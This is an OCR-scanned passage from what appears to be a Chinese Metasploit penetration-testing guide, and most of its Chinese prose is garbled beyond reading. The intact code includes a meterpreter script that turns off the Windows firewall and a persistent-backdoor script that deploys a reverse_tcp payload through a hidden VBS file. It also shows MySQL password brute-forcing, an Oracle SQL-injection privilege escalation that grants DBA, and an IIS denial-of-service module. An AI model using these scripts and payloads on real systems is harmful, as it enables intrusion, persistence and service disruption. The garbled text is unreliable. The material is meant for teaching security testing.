file local write(file2wrt, data2wrt): K455 74 8 5 A 45 € -

is_admin?(): FEH M RENEFH L, WREEH LR true, HWR[E false.

is_uac_enabled?(): H|Wi &L+ A RKSES (UAC) JLHLZEHEGE.

registry _createkey(key): GIEF5 & FEMFREE, MBI FE] true.

registry_deleteval(key,valname): HR4% 45 % (1 SERIE 2 FRINPRIE M RAE, ARIDWGR[A true.

registry delkey(key): MHIERES & MM #es, AZh R [A] true.

registry_enumkeys(key): R#EL EHEMREHGEH 78, iR @Y%,

registry_enumvals(key): M2S45 €V M AR BAME, JFR[PMEAFRY .

registry getvaldata(key,valname): 1 [0] 25 5 i3 i 2 8 ) S5 B HLAA .

service create(name, display name, executable on host,startup=2): % ¥0H Tl #iz4T
HOBEFMRS, HZ2HAFEATHRERNRS LK. FRHEIMERAR, FRHE
A HATE R (EHUEZIR3AT) %, UIRBEUEAMEFIRR. H, 2 Raxa3E
g, 3RATLIRG, 4 KR,

service_delete(name): %R EH T MHBR K AR S5  CGlliack 767 A e o M BR T B g s )

service_info(name): H]J-3KHL Windows ik %515 B, 1% E\LA hash JE=UiR A, JLrpfu & 6
AARR BB SPATH 2N E . RS2 FRX 20 K/, Hash 84374 Name.
Start. Command #1 Credentials.

service list(): %1 H 87T Windows AR%5, R[4 %S 2R %) % .

service_start(name): %R EH T RS 5, AR 2 sh R [E] 0, RS 24
R R E] 1, RS AR MR 2.
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service_stop(name): ZpREH T2 RS, bR E] 0, ARGy C2% kAR R
[l 1, JRSEEZENERE] 2,

PL_b 445 B ) meterpreter mixins #E1T T R A4, {8 HIX 2L mixins AT LAPEAE S 5 )
AR A GRG0 T meterpreter JIASIT, ¥ HoAdi A5 o £ O PRA#.

EHIE

Meterpreter API €& T mini i) Ruby ##¥E &%, 7T LEEAR AR Ruby $54. ] API
B EERBLE T e APAT R E IR AL TR, AR Sl H8E, FrHE
e Sl o A ST AR AT 55, SR APT 245 58 RRAT 5 1 R AR KO H) .

6.7 Railgun——FF Ruby &8t Ak 2%

ERTHI N2, A4 T Wi {d ] meterpreter API iZ4T Ruby A<, BLAEE M4, &
i e 0t HARHL AR REA TR AP A, Befd) SLf) iR A7 %R Railgun. Railgun 2
meterpreter § &, FOVFECHH HE& A DLL s $. — 4% F, Railgun B T8 Windows
API, {HS:FF b b Al LAZE B brpLa8 b8 F £ & DLL.

&
FAF Railgun, 755 HErPLAS EAWEEKA meterpreter 216 . ZJ15) Ruby fiEESE, wf
DL ATk i 7 i A irb A .

meterpreter>irb

>

EHTH
TESCPRUAA] DLL Z 8, SE5EKR T — B oci b, DU S 7 ) H Railgun.
(1) P50 0 A R ¥ .
(2) 1F http://msdn.microsoft.com/en-us/library/aa383749(v=vs.85).aspx Ab & i %R %L .
(3) e %R BARAEWE DLL N (8140 kernel32.d11).
(4) Ll client.railgun.dll_name.function name(argl, arg2, ...) i) =i F % 5 1 P el 24
Windows MSDN ] T3] HbrbLEs | AL H A DLL fM@%, FiE— Fu
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shell32.dll ' [sUserAnAdmin & &1 i FH 45050 3 20 B Hod H 45 R

>> client.railgun.shell32.IsUserAnAdmin

=> ["GetLastError"=>0, "return"=>false}

MERATLAFE R, ZRHORM] false, RUWIZH P ARETE . BAD HLEATRA, I
FUCGEAT A -

meterpreter > getsystem

...got system (via technique 4).

meterpreter > 1rb
[*] Starting IRB shell

[*] The 'client' wvariable holds the meterpreter client

>> client.railgun.shell32.IsUserAnAdmin

=> {"GetLastError"=>0, "return"=>true}

AR true, FEWISAURAE TR, H TR LR G005 B 5 B B4k - Railgun
B P 5 F4AT Rk DU B SRR MR %, AT /R FOUR IR T- Metasploit KEAHR Lt ()
WA . 9092 1, 1] LU KA

AT LUK i U 9T R0 Ruby A, g AR A DhRE.

print_status "Running the IsUserAnAdmin function"
status = client.railgun.shell32.IsUserAnAdmin ()

if status['return'] == true then

print_status 'You are an administrator'

else

print_error 'You are not an administrator’

end

Railgun &5 f] J7 455K T ThEEsE Ao S iah A i4&Ss, B2 aT LIS R & O i 4=
gririn e [RIRY, WSRZELRA ) DLL s8R EATE Railgun & GG, b a] LA ja) b
A B SR BREA DLL, F—EaibRixes g2,
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EHIE

Railgun J&—MFFZR ) Ruby -2 R4S, al F T X0 H ARPLa% 2t 1T 2cFE DLL A .
L2 DLL A 2 @b ) A a4, 88N G v 7E C M H ARHLE: ARG AL
FRPITIEEREEREEA.

[ F 2
Railgun J& 3K A] A§552 B 0 TAE TR, FRE— FHE LK T Railgun FI{5 & .
Railgun Elﬁ‘{ﬁigl

Railgun *qH7 3 #F 10 FA [ ) Windows API DLL, 1] LL7E pentest/exploits/framework3/lib/
rex/post/meterpreter/extensions/stdapi/railgun/def 3 43¢ 4& 21| 3 5 .

I Ab, AT LL7E Jopt/framework3/msf3/external/source/meterpreter/source/extensions/stdapi/
server/railgun/railgun_manual.pdf # 5 i Railgun 3C£5.

6.8 |i] Railgun "1 DLL Flskifoe X

AU TRI P 28 - PFk T il id Railgun 1 F] Windows API DLL, 96 /48/EFE M) Railgun
REs I 3 S8 DLL MR e X, ik, #5247 Windows DLL 7 —£68#f# . Railgun T
A B i P PRAE AN B () Windows F I, [RIES 3 s n el B0e XA BT ) .

EHLI

i} Railgun $#s i DLL 5& SR — TR 5 T 5% . W Za8 00— Windows R4 [ 1
{HYE Railgun A E X DLL, nJELYE pentest/exploits/framework3/lib/rex/post/meterpreter/
extensions/stdapi/railgun/def H3x FEIE —/~E X, I 3L 44 def dllname.rb.

(1) i) Railgun SN shell32.d1l 5 X, B 5EHR MW —84L1T.

module Rex

module Post

medule Meterpreter
module Extensions

module Stdapi
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module Railgun
module Def

class Def shell32
def self.create_dll(dll path = 'shell32')
dll = DLL.new(dll path, ApiConstants.manager)

end
end

end; end; end; end; end; end; end

(2) ¥ LIRS LRTE N def shell32.dll, Mifi 4 shell32.d1l & Railgun & .

(3) [[]1% DLL & X @ meRE. WH7E Metasploit P F def shell32.dll 4, %&Bﬁ.
IsUserAnAdmin R & ma| G T .

dll.add function('IsUserAnAdmin', 'BOOL', [])

1% bR B 48 S B ¥ Ol AR [90 A7 R4 True 5K False. 280U, HI Al LLTE shell32.d11 s
B R EGE SC, Bl in OleFlushClipboard()eR &, 1% pR £ D) AE &35 % Windows By 1
T HMEE R -

(4) [n] shell32.d11 & S asnin A,

dll.add function('OleFlushClipboard' , 'BOOL' , [])

BHIE
T Z R BTN, RAFZSCHE, 913 meterpreter 255 R 7 1% bR BEAAT I 5 75 .

>> client.railgun.shell32.0leFlushClipboard

=> [("GetLastError"=>0, "return"=>true}

ol RJE, {EH add_dll A add_function EL#% [ Railgun %5 i1 DLL FMlgk¥. Fif
e BN A, H Tl shell32.d11 1 OleFlushClipboard (10 F 4, R ATEAE, WiA#
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F add_dIl #1 add_function #EFTH 11

if client.railgun.get dll('shell32') == nil
print_status "Adding Shell32.dll"
client.railgun.add dll('shell32', 'C:\\WINDOWS\\system32\\shell32.
dil")
else
print status "Shell32 already loaded.. skipping"

end

if client.railgun.shell32.functions['OleFlushClipboard'] == nil
print_status "Adding the Flush Clipboard function"
client.railgun.add_function('shell32', 'OleFlushClipboard',

'BOOL', [])

else
print status "OleFlushClipboard already loaded.. skipping"

end

I 1 2 HR 4% 75 29 il Windows APT f—/ME] S 1], M ] LLASIRE 2 Railgun ff) 98K 3
fie. MSDN FEhfudEf &#47 R ) Windows API #H, " HZAMNE] Railgun H, #9585
Metasploit HEAL I D fE, tha] LUH TV HAsbLa8 LfER DLL. F— WA 40r ke C
[¥] meterpreter il 4.

6.9 FEt “Windows P KEGR IS meterpreter iiIAS

FERTTH I P P BRAT A ARAE R T 48 meterpreter 4%, 11 killav.rb 55 persistence.rb
%, BT RBAIHEVEEFAE H CH meterpreter 4. Ruby 74’5 Metasploit ' f{I{F
(ARSI EEAE A, B LA NN Ruby FSEA B . ELHE S meterpreter A B 1HAH ¢
HISCRYHANE , i TR B A SR d e () S B V2 5 2] Ruby 155, ) IS 7 50 4% b 2 =) W] RSB
ARG, ] LABdi% Metasploit FF A& A Gi3ERS, CAEERAEZHES b A9 2Tl AN R RO HE, X250
RWEB RS A ABiE, LA Z5% W T ## http:/dev.metasploit.com/redmine/
projects/framework/wiki/DeveloperGuide.

K EIF R A L Windows Vista/7 Py kG SoiG 88 A, AN netsh 5%
Windows 774>, meterpreter ¥ 144 5 cmd_exec()ft mixin £ HbrbLas HHAT@i 2.
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b3

Meterpreter i&{TEMIBAZ S amBbFE A R SCp, B el DA 6 75 Bl o B A AT
FHES, AL CEE I 2 EEE M. THRE — TS meterpreter BIAH 7
B A — L ),

BREREFEE: XU AEAETHESR Py BEAT G0 i) Bef AR L6 2T o 12088 G A ] 42
JaAeht, BiibXHEZRARRE T, — R A SEH] A AR R R .

ERER: SMEAMERATRIRESR, 78T WHhdE o e AT a7 Thee.

BESH: ENENET, RITOSERAEIETHWANSEBHISE . 550
AR, A B R-h SR help K.

FTEDEESR : 4T EDH R E B 45 ] CLUE SE A AT 2 TR, &R AFE T ER APL, #1
U print_status. print_error 5§, 7] LLREAR & FHAS [A] R AH (5 & .

Fatmil: WINHATEEN AT 6 LhdT B ARE.

BENHFAE: TGS )G, KRS/ /pentest/exploits/framework3/scripts/ meterpreter
Fsxrb, BMEAEHEZE S 302 A B Tl b oe .

{£ A mixins: Mixins /& meterpreter 1 [{) FEZIMEE, ¥ mixins 2840 5 I BEIAS 5 1 2
HHES .

%5 meterpreter JIARY, MiZic kLl Fix s,

T, FTHAEER AR, RS Ruby B4, W 7F BackTrack ¥ & 1., #f
PUAE P A Gedit SCAGRHE2S .

BRI

(1) FESCAGR A P RA M TACHAT, 7EX MR Z AT, 33 nT D AT A 5L
e, IR HERT R T AR A R A

# Author: Abhinav Singh

# Windows Firewall De-Activator
#Option/parameter Parsing

opts = Rex::Parser::Arguments.new|
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"-h" => [ false, "Help menu." ]

opts.parse(args) { |opt, idx, wal|
case opt
when "-h"
print_line "Meterpreter Script for disabling the
Default windows Firelwall"
print_line "Let's hope it works"
print line (opts.usage)
raise Rex::Script::Completed

end

# 0S validation and command execution

unsupported if client.platform !~ /win32|win64/i
end
begin
print status("disabling the default firewall")
cmd_exec('cmd /c', 'netsh advfirewall set AllProfiles
state off',5)

FRAEMATERE, B¥HG4 N myscriptrb 3R 47 2/pentest/exploits/framework3/
scripts/meterpreter H k¥ .

(2) EPITIZHA, T A% meterpreter 1. Ruby AT LIFH run 1217, A
WAEZATHT, ERIARE H AL M REHBUH .

meterpreter > getsystem

..got system (via technique 4).
meterpreter > run myscript.rb

[*] disabling the default firewall

meterpreter >
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IR ThPAT S B ACHE B T BRI R, AT I TR NS G HETT, BRI E BRRL S B
. BT RIADN AT VF 40 ) 2 T A EL AR

ERIH
T B g — B AT R S AT

opts = Rex::Parser::Arguments.new(
"=h" =» [ false, "Help menu." ]
)

opts.parsefargs) { |opt, idx, wval|
case opt
when "-h"
print_line "Meterpreter Script for disabling the Default
Windows Firewall"™
print_line "Let's hope it works"
print_line (opts.usage)
raise Rex::Script::Completed
end
}

R AT B R v SGE B ACE AT IR A — 2 . ABAC, kT B 3
i-h B3, AR SnBARER L. EH T LR B A G T2, BB A
Pl SRR . B RRS BB, AL BT L H A .

ZMAT S AIE T hash (H) opts), i% hash £17% Rex FE (Ruby #"EFEMIME ), ME—H
BE-h, VCEEAGENMES false, FTWIAEDRZMAMR —TrESH. £ FRMILT
AR 3 B 0 B A A AR TRUEA T UC A, 3B 2 print_line() 27511 B R E W 5L . 4o
B eb i F BT 2 A -he

unsupported if client.platform !- /fwin32|winéd/i

begin
print status ("disabling the default firewall"™)

cmd_exec('cmd /fc', 'netsh advfirewall set AllProfiles state
of£',5)

end
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T I IR Ay B AR R I R — ek e R . HAFAE P ImERERERE, ARG
{# | meterpreter mixin, Bl cmd exec(), HAEHZUIBERAEEANEAPITHS, KR
FHATHI 2 & netsh advfirewall set AllProfiles state off. 1% mixin 7E% ) W ALas L2147
PR LR 3P —@ 4, AT SR EER] Windows By k.

B T AR A P N SE 2 Dh e, PPl e, SCEREEZ FRIM %

LA EDRANAT EFEEE meterpreter JIA. £ T, RINFFE]—AES
1) meterpreter B4, FEXtILHEATVEAR 4

5.
FEvHeE— TSI, XA BT E R T B E .

KIBEA

RS —FfH B T E B AR MBAR. 7£ Metasploit HE2, Lfr 24t
SHRZAAAIRE, Pl MR, SHSERE. BRNBGEEEE, RHPTL
1E B R AACHE T B A LR BOF M R FLThfE. i04E, “%>] meterpreter JIABLIHY
BUFERRE BN EREA.

6.10 P47 IY) meterpreter JHIAS

ERTIH N AP IENF ] T EFEE B CBRA, RS — AT R SR %
A A . SE4 RE&XEA A K BB RE D 2 5, wT LAHE B 5 75 20 b s 3
AT RIAE R . ACRSE AT — R R AL A R

ot
EAFRMATEA, & 55HEN pentest/exploits/framework3/scripts/meterpreter [ 3% .

PEZICH T AT AR BT AT ) meterpreter A, 256Xt persistence.rb B 44T
BT, ZMIA B T AR BRG], AT O8N A AR, X
VRN AL A (1) P9 30 L AR L2
ERIE

FHE T EMAR &5
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4 Default parameters for payload
rhost = Rex::Soccket.source_address("1.2.3.4")
4444

delay = 5

rport =

install = false
false
false

autoconn =
serv =
altexe = nil
target dir = nil

paylecad type = "windows/meterpreter/reverse tcp”
script = nil

script_on_target = mnil

AT LA 7 W BRI ol i ) A B O PG . AESC AP ] DA B S 208 WL e i,

rhost. rport. payload type %, IX4AFR{EHHHEEN LR D,

Bexec_opts = Rex::Parser::Arguments.new |
LU

=> [ false, "This help menu"],

-r" =z [ true,
listening for the connect back"],

u_pn
iz listening"],

=> [ true,

=i => [ true,

connection attempt™],

"=X" => [ false, "Rutomatically
boots"],

"=U* => | false, "Rutomatically
logs on"],

"=5" =» [ false, “RAutcmatically
service (with SYSTEM privileges)®],

"=p" => [ false, "Autocmatically

to connect to the agent™],

EMMC ML,

“The IF of the system running Metasploit

"The port on the remote host where Metasploit

"The interval in seconds between each

start the agent when the system

start the agent when the User

start the agent on boot as a

start a matching multi/handler

"_L" =2 [ true, "Location in target host where to write payload
to, if none \%TEMP\% will be used."],

"=T" => [ true, "Alternate executable template to use"],

"=-p" => [ true, "Payload to use, default is windows/
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meterpreter/reverse tcp."]

)
meter type = client.platform

B PREZMAE X T —EAFANSH R, TENEAPITHAE NS 8%, KT,
{E 4 true IS HOR L TR, BEMEAN LA HWE: {58 false FIZHUN 2 AR .

# Usage Message Function

def usage

print line "Meterpreter Script for creating a persistent backdoor
on a target host."

print_line (Bexec_opts.usage)

raise Rex::Script::Completed

end

# Wrong Meterpreter Version Message Function

def wrong meter version(meter = meter type)

print_error ("#{meter} version of Meterpreter is not supported with
this Script!")

raise Rex::Script::Completed
end

A (R 3K — 5 4 e 2R B SCAL R, AT BR B0H W A7 1E T B ) meterpreter A,
AR RS T EEHEMER. K, wrong_meter version() & % F T 8 W\ 24 11
meterpreter i A< 75 13 BNZ A TR, A S A S FF IHICA K] meterpreter, B, 3T
ATt E .

# Function for Creating the Payload

def create_ payload(payload type,lhost, lport)
print status ("Creating Payload=#{payload type} LHOST=#{lhost}
LPORT=#{lport}™"™)
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payload = payload type

pay = client.framework.payloads.create (payload)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport

return pay.generate

end

LA R EH TG, WRFEAR BT, W EEA AR (A
U4 . create_payload()eRE AR MEAE A 2%, B payload typ 1 Iport, [HI48— T
AR RS ISy, XSRS C LB 0A HE R BRI .

A5 4] pay = client.framework.payloads.create(payload) . ¥F F J* M\ Metasploit HE4E 1 61
L B -

iX BUACHD o 75 B B /2 pay.datastore['LHOST'] = lhost H1 pay.datastore['LPORT"] = Iport

B4], datastore /& hash {H, BIHREY Metasploit HEZE A< 5 ¥ nT B A X ANME R 51 R i ek
EPRE L IiNNIE

# Function for Creating persistent script

def create script(delay,altexe,raw)
if altexe
vbs = ::Msf::Util::EXE.to win32pe vbs(@client.framework,
raw, {:persist => true, :delay => delay, :template => altexe})
else
vbs = ::Msf::Util::EXE.to_win32pe_vbs (@client. framework,
raw, {:persist => true, :delay => delay})
end
print status ("Persistent agent script is #{vbs.length} bytes
long™)
return vbs

end

LT RO T AU RFAERIA, B O B R T o B R At S A — i A%
e 1 -

# Function for creating log folder and returning log path
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def log file(log path = nil)
#Get hostname
host = @client.sys.config.sysinfo["Computer"]

# Create Filename info to be appended to downloaded files

filenameinfo = " " + ::Time.now.strftime ("%Y%m%d.%M%5")

# Create a directory for the logs
if log path
logs = ::File.join(log vath, 'logs', 'persistence',
Rex::FileUtils.clean path(host + filenameinfo) )
else
logs = ::File.join(Msf::Config.log directory, 'persistence’,
Rex::FileUtils.clean path(host + filenameinfo) )
end

# Create the log directory
::FileUtils.mkdir p(logs)

$#logfile name

logfile = logs + ::File::Separator + Rex::FileUtils.clean_
path (host + filenameinfo) + ".rc"

return logfile

end

iR T AR A E#HEHS, K, #A) host=@client.sys.config.sysinfo
["Computer"] T HE U b6 H ArHLERI0 R G5 B, HRFSCH42 28 Rex::FileUtils £ €
I, ZPEHTFIAT —E A xR

# Function for writing script to target host

def write script to target (target_dir,vbs)
if target dir
tempdir = target dir

else



H6E S Meterpreter IAZIt 155

tempdir = @client.fs.file.expand path("%TEMP%")

end

tempvbs = tempdir + "\\" + Rex::Text.rand text alpha((rand(8)+6))
+ ".vbs"

fd = @client.fs.file.new(tempvbs, "wb")

fd.write (vbs)

fd.close

print_good("Persistent Script written to #{tempvbs}")

file local write(@clean up rc, "rm #{tempvbs}\n")

return tempvbs

end

i pR B IR BN SO T G, B RS 1T SO R AR 1 A1 A G BR BB 2R A S
Je R H 3, #H) Rex::Text.rand text alpha((rand(8)+6)) + ".vbs" A i it 3C 4 3& v Gl |t () S
A BN A, WB5) fd.write() F TR 3OS ANRESE .

# Function for setting multi handler for autocon

def set handler (selected payload, rhost, rport)

print status("Starting connection handler at port #{rport} for
#{selected payload}")

mul = client.framework.exploits.create ("multi/handler")

mul.datastore [ "WORESPACE']

@client.workspace

mul.datastore [ 'PAYLOAD' ] = selected payload
mul .datastore["LHOST'] = rhost
mul.datastore['LPORT"] = rport
mul.datastore['EXITFUNC'] = 'process'
mul.datastore["ExitOnSession'] = false

mul.exploit simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob’ => true
)
print*good{"MultifHandler started!™)

end



156 Metasploit &% ik F A

LR B T A B A E R, DMERDER| S T hLas, W R E S BRI RE,
X AN 0T LATE H U =P (38 A3 26 pR 3

# Function to execute script on target and return the PID of the

PIrocess

def targets_exec(script on target)
print_status ("Executing script #{script on_target}")
proc = session.sys.process.execute("cscript \"#{script on_
target}\"", nil, {'Hidden' => true})
print good("Agent executed with PID #{proc.pid}")
file_local_write(@clean_up_rc, "kill #{proc.pid}\n")
return proc.pid |

end

F i 6 o8 B 11 HARPLaS EHATIIAS, FE A RIAAE H brbLas LOIEE vbs S0, 2670
X HABEAT AT LAEFT JTF %82, Targets_exec()rREH T SE X — Hbx. Wi EE HArPLEE L
PATHIA, % pR Bth v] LI TAARS . session.sys.process.execute() 71 BT AT A<, proc.pid
U 22 ] i e ) i 1T RERR ) D

BAACHS T ILAR A5 B & AR, Bk, —MAWK R A @, Emkat
oL, BEX-FH¥EN, HEEENIAT meterpreter AN JG & K ERBRER T
RN ANBBEIEAA G MARERUE, R TR ORI SRS AU 2 — I E
BIHAE, Xt FFEAERK AT, B LR R 2= eSS, tn] LUE I 7 A
A PR AE S B I AR R RE T -



BTE
P LR £ L

ATV T RN A

o (EHIFH AR BOALIR ;

o [ % Bh A BEASTER

e SQL {EAY DOS Uihifib;
o JaBEN B,

o BRI KR

o THTHLAER,

o EV HCOMGBIEN B,

71 5|5

{55 1 BT Metasploit ZLalE, 403 H R AP RBERA KRG, XEWEHERf
AOdEE R ACHS . Buhidar. Gisa SR VBB IF 7l . B A REWERY &
FERTHEE R (E ALY . (MR ET AN RE AT LUF R B B, IS ABHERE D,
564 AB B WA 2 ] e B B TN A FT AT, Bildn, #5550 A IR A B,
RIGERZGERMABIR, HEER ARG R G BEN B E, BJaibnfed 2
— SN ] R S B B PE AR 2 B B P AR g S . BARTEMT A Metasploit
N3 i 2 M e B e, (HAEHE# B Metasploit HESE (%0, BRI AT 00 S5 0 RSB 10 47 148
NBRf#

A TE L GV pentest/exploits/framework3/modules Fl 5%, 348 HE 22 oh i 4 A £ 48
e, nLARLIZERRAT S5 . B A AT v AR AL, R DhEE Sl L —
SR . ATEARE XTSI BT 8, BENEERTT R B OB,
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7.2 {EHEIE S ER B

B ASER. EAfmSE Y A A Nmap SHTHEHMKVEM TR, A9
o AR AT — LB B R A B, X SUBIEREAF/E T Metasploit HE42 1. B4R Nmap
K DIRER KM TR, (HASEN FUR T ERATR @ X/, Flindriesn
MySQL &4l i fE 5 A7 7 .

Metasploit &4 KR RS, T iixd 5o i 8817243

b33

T R HESE P AL n] I RO4 488, 0T Lo %/ pentest/exploits/framework3/modules/auxiliary/
scanner H>x, P E T 35 fP L AT RHBE, EH T SRR R 2 ENR S .

BRI

HEMAEEARN HTTP H4523%, KPP S5EMRE AR HTTP H#ES, Fili
L b HOH AT HE .

A% dir_scanner JAS, AR T —EHL (BEEADEEAMBD KT E H
3, LMl — PR RPUEE B .

TAE R ZA BB, 75 Z4E msfeonsole 1 H04T00 F K.

msf > use auxiliary/scanner/http/dir scanner
msf auxiliary(dir scanner) > show options

Module options:

{# /il show options #i2 A #1| th B 41 n] F (KAl iE 24, XS ¥nT DML B 453 2RI,
Hrp i EE AL RHOSTS 25, il %280 LUK H AR E N L — EHLEE DN M E .

EHIE

FHTHE — M E R AR, JLr i B — S I . mysql_login 1428 Bk
J& T2 R AR, TR H ARLEE R AAAE MySQL R %528, Jiliad 8 ) w g s
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VAR S H AR R P -

msf > use auxiliary/scanner/mysgl/mysgl login
msf auxiliary(mysgl login) > show options

Module options (auxiliary/scanner/mysgl/mysgql login):

Name Current Setting Required Description
BLANK PASSWORDS true yes Try blank pas.:
BRUTEFORCE_SPEED 5 yes How fast to..
PASSWORD no A specific password
PASS_FILE no File containing..
RHOSTS yes The target address.
RFORT 3306 yes The target port..
STOP_ON_SUCCESS false yes Stop guessing*
THREADS 1 yes The number of..
USERNAME no A specific user..
USERPASS FILE no File containing..
USER FILE no File containing..
VERBOSE true yes Whether to print..

MEGERATUEFR], SRRUTRZ TSNS BRRDGEREGEL, BERY)
Foe . XX B, ERE AT LRGN SRR T A O S8 F O, i
B IRV H ARALAS O PR I R DD R

BATR AR T I FE R
msf auxiliary(mysgl login) > set USER FILE /users.txt
USER_FILE => /users.txt

msf auxiliary(mysgl login) > set PASS FILE /pass.txt
PASS FILE => /pass.txt

WEH A MO, TR WM. BaiEe BArNlas, 1217 run @207 %80k .

msf auxiliary(mysgl login) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
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msf auxiliary(mysgl login) > run

[*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51la
[*] 192.168.56.101:3306 Trying username:'administrator' with password:''

R AR T, AR SEAE H ARALES AR R A MySQL iS5 2%, #AFAE)S
HEXARM P A O% . ZXERHE TSR EEAORRBELZ —, Lk e
AR AR R T 100 55 1 & 04T 2 ) A

{#F Crunch £5O0%

MM T A BN BT S, EH—@REN O3 —2ERN BLER . D4 5|REE
DIAEZRIRAL, n] LI{EH] John The Ripper #APFER. 7 —F vk, {EH] Backtrack #1f
crunch T H, DLIEAEQE R BR800 AL At AE il 11 4 %13 . #/pentest/passwords/crunch [ 3%
Al LA4E 3] crunch T H., WP H i) Backtrack WA PG X — T H, W] LL7E &85 6 O &
i W F e AT %

root@bt: cd /pentest/passwords
root@bt: /pentest/passwords# apt-get install crunch

crunch ZEATE A% 0 F B,
./ crunch <min-len> <max-len> [-f /path/to/charset.lst charset-
name] [-o wordlist.txt]

[-t [FIXED]@RER] [-s startblock] [-c number]

crunch T B S8 DRen s,

® min-len: FfHERAKERDMSAL.

® max-len: F1fHE SRR AKKE.

charset: & SC{# Y7774k .

e -b: Number[type: kb/mb/gb], &5 CHHI A/,

e -f <fpat1‘1ft0fchar.set. 1st><charset-name>: fOVFM charset.lst 448 2 AR,
® o <wordlist.txt>: & XA FIRAFHH M.

o -t <e*s*>: FTFHINO4ICA,
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M) URL 34t T crunch T RAH K 1) 58 BESCHS

http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

A LAVEEZ OO, P ERE I T A A RE A D 2FI%.

7.3 {EHHEB)AE PRECH

TR EHEL, RN HBX . B HEERAT UL 5e A [ 1) e,
Blin i $ s BT AR . BEATE B DY SR AR, MO T ASE AR HAKThfE . T A — AN S
mysql enum FEER,

&

mysql_enum BEHUE T MySQL i Fi i 4 38 Mok T EBE, RS BL& IR )
L0014, ST DL % T B MySQL S04 PE AR 2 2 04T 10 B A0S 26 . T % A B 1
R — 45 T SR AT

BRI
56 )3 8h msfeonsole, F3E A iZ 5 Bh B BT 76 8% 1% .

msf > use auxiliary/admin/mysql/mysql enum
msf auxiliary(mysqgl _enum) > show options

Module options (auxiliary/admin/mysql/mysgl_enum) :

Name Current Setting Required Description

PASSWORD no The password for the..
RHOST yes The target address
RPORT 3306 yes The target port
USERNAME no The username to..

MEERATLULE R, 2R 2SS HaIE 04, B 48 RHOST. ZA80H0UF] X it
ZHARE MySQL B, =S M OLSATEREER. FiHiF —F exploit
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fir 2 M H SR .

msf auxiliary(mysgl enum) > exploit

[*] Configuration Parameters:

[*] C2 Audit Mode is Not Enabled

[*] Xxp_cmdshell is Enabled

[*] remote access is Enabled

[*] allow updates is Not Enabled

[*] Database Mail XPs is Not Enabled

[*] Ole Automation Procedures are Not Enabled

[*] Databases cn the server:

[*] Database name:master

MG RATULFR], ZEROEE KEAEHOmNG R, i HFPR MySQL R%4%
cmdshell HUZFE VS MO LG, FIBHLIR BT HERPLES EIEAEE R 83 E L R

A —en] B+ MSSQL 11 Apache A %% AL, K 2 EAiH (19 T 4 oL F2 #5842 2548l
. il HE{EH show options dy4, LAERH A HH N B 380 TS

EHIE

WOELE BB A TAE O, @LF HARENRER:, RO 204, RiGiT
ARGFHs . eAh, XEEEIHUA T DU TR AR ERS S E T LFEL %, Tl H T
NEREA P 2R O4 25 Bl MySQL R%-2%, ¥ scott il tiger 15 A BRIN T
SRATHHAT IR .

7.4 SQL ALY DOS Zrdikibh

A2 E AN AR K VE, Metasploit #8&AUF I, BB @ERIR A 53 2640 R 2 1)
ML RFIE R, A REMRMLE . RSN AP E LT 24, BB 57T L A
SQL # A DOS It B ] H i WS AR 55 30T ik, DA s o0 X e ity B 75 LAY
Pl TR EBRBIT M TS .

b3
SQL FEABEHRAEFH O 50 bt e 2 R IR 0T FAR IR 45 BEAT B8 38, ISR FAL U ] .
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%3 I £ 413 Oracle 9i. 10g 2 A< . Metasploit (11— LB F) H Oracle E3E FER) C40
Hiill, I A0 N FERE Oracle $di FE . X JL/MEEBR AT LLYE modules/auxiliary/sqli/oracle H
KRR

BT

Fifi4H#T Oracle DBMS METADATA XML i, iZiHmIhFI G, &7 L0 H 7 AR
M DB USER #7}%| DB ADMINISTRATOR (¥4 FEAS# 61). FliKAH — F dbms_
metadata_get xml BEbR ) B ARAE FH 75 ik

msf auxiliary(dbms metadata get xml) > show options

Module options (auxiliary/sgli/oracle/dbms metadata get xml):

Name Current Setting Required Description

DBPASS TIGER yes The password to..

DBUSER SCOTT yes The username to..

RHOST yes The Oracle host.

RPORT 1521 yes The TNS port.

SID ORCL yes The =id to authenticate.
SQL GRANT DBA to SCOTT no SQL to execute.

R T E S B AT RS BB, LB NSRS, BB S B
FaRAEHE (scott HBRIARIF 44, tiger AEIAS) B8R FERS 8%, CAEEER P &84
B x)a, ZERPATIREAR A, H AR SE T B P B AR . T i B s ) 2 #
xof AR H bR S froas i) .

msf auxiliary(dbms_metadata_get xml) > set RHOST 192.168.56.1
msf auxiliary(dbms metadata get xml) > set SQL YES

msf auxiliary(dbms metadata get xml) > run

W ATIZME S, TP B A DB_USER #2713 DB ADMINISTRATOR .

PR ANZIBBARSF (DOS) BBk, ZBHRAM T RFH9 OS 6.0 Wi, &
i AT LAAIE RS 40000 ANLL LR ZH6 POST K, i S H RS 28 it 25



164 Metasploit {&iE it F i

LM BT LI . 28 C7E 4 T 1) Windows 2003 fli 558§ [i&4T T 11S 6.0, [ A
Bl ms10 065 _ii6_asp_dos.

msf > use auxiliary/dos/windows/http/msl0_065_ii6_asp_dos

msf auxiliary(msl0 065 ii6 asp dos) > show options

Module options (auxiliary/dos/windows/http/msl0_065 ii6 asp_dos):

Name Current Setting Required Description

RHOST yes The target address

RPORT 80 yes The target port

URI /page.asp yes URI to request

VHOST no The wirtual host name to..

msf auxiliary(mslO_065_ii6_asp_dos) > set RHOST 192.168.56.1
RHOST => 192.168.56.1

msf auxiliary(msl0 065 ii6é asp dos) > run

[*] Attacking http:,//192.168.56.1:80/page.asp

M run ar-PATEBR G, ATFMEEGE HbR 1S MRS 4%, XR@ it 80 ¥ 1 A%
HTTP i3k 5CHLA) (URI J5 7 page.asp), MIhATZEEER G, IS MRS 25HKIE 4R % .

EHIE

PRI 30 58 P51 o« Oracle ¥ IR R 2B E B E K PL/SQL BB, %R
BAE SYS LR 3CHIAT, RRIhIAT Ja K - AR T O 8 28 G AURR .

M %2 T 975511 bR B

CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_ FUNC" return varchar2
authid current user as

pragma autonomous_transaction;

BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT':
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COMMIT;
RETURN '';
END;

/

K, BZREEARIARENOER, = H PR .

SELECT SYS.DEMS_METADATH.GET_DDL{'"I}SCGTT.ATTACK_FUNC[]||"',"]
FROM dual;

AR T R BOEARLRE, X B E XS Oracle PAHI T KIS 44

